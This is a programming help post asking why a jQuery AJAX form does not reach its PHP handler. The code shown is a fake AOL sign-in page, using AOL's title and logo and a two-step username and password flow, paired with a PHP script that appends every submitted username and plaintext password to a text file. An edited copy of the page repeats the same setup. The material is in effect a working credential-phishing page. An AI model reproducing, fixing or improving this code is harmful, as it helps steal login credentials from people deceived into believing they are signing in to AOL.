Question: How to send Data to PHP URL using Jquery / Ajax
I am very new to this. How do I post data to a PHP file? I am really having problems with this. Its supposed php error to call the PHP file but rather than call the PHP file, its just very static and does not behave like i clicked a thing.
The first button on the div transfers the data from the first page, and moves it to the second page. then the second button is supposed to call php error the php URL and send the data to the php file which in turn saves the data to DB or write to the text file.
the html file with the Jquery is looking like this
<!DOCTYPE html> <html> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script> <script> $(document).ready(function(){ $("#my_form").submit(function(){ event.preventDefault(); var username = $(this).find('#u').val(); var password = $(this).find('#p').val(); if(username == '' || password ==''){ alert('Please Enter all Data Correctly'); return false; } $.ajax({ type: "POST", url : "savedata.php", data : { username : username, password : password }, cache: false, success : function(data){ alert(data); }, error: function(xhr,status,error){ console.error(xhr); } }); }); }); </script> <script> $(document).ready(function(){ $("#btn1").click(function(){ $("#loginU").toggle(); $("#loginP").toggle(); }); }); </script> <script type="text/javascript"> function sendData(){ var username = document.getElementById('u').value; document.getElementById('outdata').innerHTML = username; document.getElementById('hiddenEmail').value = username; } </script> <style> .hide{ display:none; } .loginTable { margin-top: 15px; float: right; background-color: white; position:absolute; overflow:hidden; left:906px; top:100px; width:365px; height:581px; } .logoArea { margin-top: 35px; } .signInheader___{ position:absolute; overflow:hidden; left:1040px; top:198px; width:63px; height:35px; } </style> <link rel="stylesheet" href="styles.css"> <meta http-equiv="Content-Language" content="en-us"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <title>AOL</title> </head> <body> <div align="center"> <table border="0" width="100%"> <tr> <td height="57"> <img border="0" src="../aol_new/images/aol-logo-black-v.0.0.2.png" width="106" height="43"></td> </tr> <tr> <td> </td> </tr> <tr> <td> <div align="center"> <table border="0" width="100%" background="images/AOL_MaliciousApps_platform___Norton.jpg" height="1020"> <tr> <td> </td> </tr> <div class="loginTable"> <form id="my_form" method="post"> <div id="loginU"> <img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br> <p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:73px;">Sign in</p></br> <input type="text" id="u" name="u" placeholder=" Username, email, or phone" oninput="sendData();" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br> <input type="submit" value="Next" id="btn1" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" /> </div> <div id="loginP" class="hide"> <img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br> <div id="outdata" style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal; margin-top:10px;"></div> <input type="hidden" id="hiddenEmail" /> <p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:14px;">Enter Password</p> <p style="font-size: 15px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;">to finish sign in</p></br> <input type="password" id="p" name="p" placeholder=" Password" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br> <input type="submit" id="submit" value="Next" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" /> </div> </form> </div> </table> </div> </td> </tr> </table> </div> </body> </html>
And the PHP to save to textfile (at first) is Looking like this
<?php $username = $_POST['u']; $password = $_POST['p']; $txt = "Data: \n User : $username\n Password : $password\n"; $file = fopen('servers.txt','a+'); fwrite($file,$txt); fclose($file); ?>
How Can I get this to work? I am very new to this. Rather than send the data, its just Very static and does not do anything like calling the PHP file. Why is this so?
Edit
Edits Now Looks like this :
<!DOCTYPE html> <html> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script> <script> $(document).ready(function(){ $("#my_form").submit(function(){ event.preventDefault(); var u = $(this).find('#u').val(); var p = $(this).find('#p').val(); if(u == '' || p ==''){ alert('Please Enter all Data Correctly'); return false; } $.ajax({ type: "POST", url : "login.php", data : { u : u, p : p }, cache: false, success : function(data){ alert(data); }, error: function(xhr,status,error){ console.error(xhr); } }); }); }); </script> <script> $(document).ready(function(){ $("#btn1").click(function(){ $("#loginU").toggle(); $("#loginP").toggle(); }); }); </script> <script type="text/javascript"> function sendData(){ var username = document.getElementById('u').value; document.getElementById('outdata').innerHTML = username; document.getElementById('hiddenEmail').value = username; } </script> <style> .hide{ display:none; } .loginTable { margin-top: 15px; float: right; background-color: white; position:absolute; overflow:hidden; left:906px; top:100px; width:365px; height:581px; } .logoArea { margin-top: 35px; } .signInheader___{ position:absolute; overflow:hidden; left:1040px; top:198px; width:63px; height:35px; } </style> <link rel="stylesheet" href="styles.css"> <meta http-equiv="Content-Language" content="en-us"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <title>AOL</title> </head> <body> <div align="center"> <table border="0" width="100%"> <tr> <td height="57"> <img border="0" src="../aol_new/images/aol-logo-black-v.0.0.2.png" width="106" height="43"></td> </tr> <tr> <td> </td> </tr> <tr> <td> <div align="center"> <table border="0" width="100%" background="images/AOL_MaliciousApps_platform___Norton.jpg" height="1020"> <tr> <td> </td> </tr> <div class="loginTable"> <form id="my_form" method="post"> <div id="loginU"> <img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br> <p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:73px;">Sign in</p></br> <input type="text" id="u" name="u" placeholder=" Username, email, or phone" oninput="sendData();" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br> <input type="submit" value="Next" id="btn1" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" /> </div> <div id="loginP" class="hide"> <img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br> <div id="outdata" style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal; margin-top:10px;"></div> <input type="hidden" id="hiddenEmail" /> <p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:14px;">Enter Password</p> <p style="font-size: 15px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;">to finish sign in</p></br> <input type="password" id="p" name="p" placeholder=" Password" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br> <input type="submit" id="submit" value="Next" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" /> </div> </form> </div> </table> </div> </td> </tr> </table> </div> </body> </html>